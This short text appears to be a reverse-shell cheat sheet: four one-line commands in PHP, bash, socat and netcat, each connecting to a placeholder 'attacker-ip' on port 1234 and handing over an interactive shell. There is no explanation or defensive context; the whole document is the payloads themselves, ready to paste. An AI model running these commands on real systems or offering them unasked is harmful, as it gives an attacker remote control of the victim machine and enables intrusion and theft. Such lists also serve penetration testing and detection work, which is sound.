php -r '$sock=fsockopen("attacker-ip",1234);exec("/bin/sh <&3 >&3 2>&3");'
bash >& /dev/tcp/attacker-ip/1234 0>&1
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:attacker-ip:1234
nc -e /bin/sh attacker-ip 1234
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